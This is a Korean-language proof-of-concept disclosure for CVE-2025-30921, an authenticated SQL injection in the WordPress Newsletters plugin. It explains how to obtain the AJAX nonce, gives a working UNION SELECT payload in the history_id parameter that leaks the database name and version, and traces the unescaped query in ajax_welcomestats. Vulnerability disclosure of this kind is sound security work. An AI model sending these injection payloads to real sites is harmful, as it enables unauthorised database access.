
CVE-2025-30921의 PoC
WordPress 플러그인
구성 요소 이름 Newsletters
취약한 버전 <= 4.9.9.7
구성 요소 슬러그 newsletters-lite
구성 요소 링크 https://wordpress.org/plugins/newsletters-lite/
취약점 클래스 A3: Injection
취약점 유형 SQL Injection
관리자
Newsletters 플러그인 버전 4.9.9.7 이하에서 플러그인 대시보드(/wp-admin/admin.php?page=newsletters)의 통계 개요 차트를 조회할 때, URL 매개변수에 대한 입력 검증 및 이스케이프 처리가 부족하여 SQL 인젝션 취약점이 발생합니다.
이 취약점을 통해 관리자 권한을 가진 공격자는 대상 사이트의 데이터베이스 정보를 추출할 수 있습니다.
Newsletters 플러그인 버전 4.9.9.7 이하가 설치된 WordPress 사이트를 준비합니다.
Newsletters 플러그인 대시보드 메뉴(/wp-admin/admin.php?page=newsletters)로 이동합니다.

브라우저 개발자 도구를 사용하여 'Elements' 탭에서 action=wpmlwelcomestats&security=를 검색하고 security 값을 확인합니다. 예를 들어, 검색 결과가 아래와 같이 나타나면 22b1ac0de6을 기록합니다.
// ...
jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
// ...

아래 URL 경로의 <SECURITY VALUE> 부분에 기록해 둔 security 값을 입력하고 해당 URL로 요청을 보냅니다.
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
위 PoC에서 SQL 인젝션 취약점이 발생하는 URL을 요청하면 /wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php 파일 내의 ajax_welcomestats 함수가 호출됩니다.
이때 요청 매개변수 history_id는 SQL 쿼리 문자열의 조건 절로 직접 참조되어 $history_condition 변수로 초기화됩니다. 이 변수는 이스케이프 처리 없이 데이터베이스 쿼리에 전달됩니다.

따라서 URL 매개변수 history_id에 입력된 값에 대한 검증이나 이스케이프 처리가 없으므로 SQL 인젝션 취약점이 발생합니다. (참고로 URL 매개변수 from과 to도 입력 검증 및 이스케이프 처리 부족으로 SQL 인젝션 공격에 취약합니다.)
URL 매개변수 중
history_id에는 SQL 인젝션 페이로드가 포함되어 있어 데이터베이스 이름(DATABASE())과 버전(@@VERSION)을 조회할 수 있습니다. 예를 들어,security값이22b1ac0de6인 경우 다음 URL에 접근합니다.
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=22b1ac0de6&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
URL 요청 응답을 확인하면 history_id 매개변수를 통한 SQL 인젝션 취약점으로 인해 데이터베이스 이름과 버전 정보가 노출되는 것을 확인할 수 있습니다.
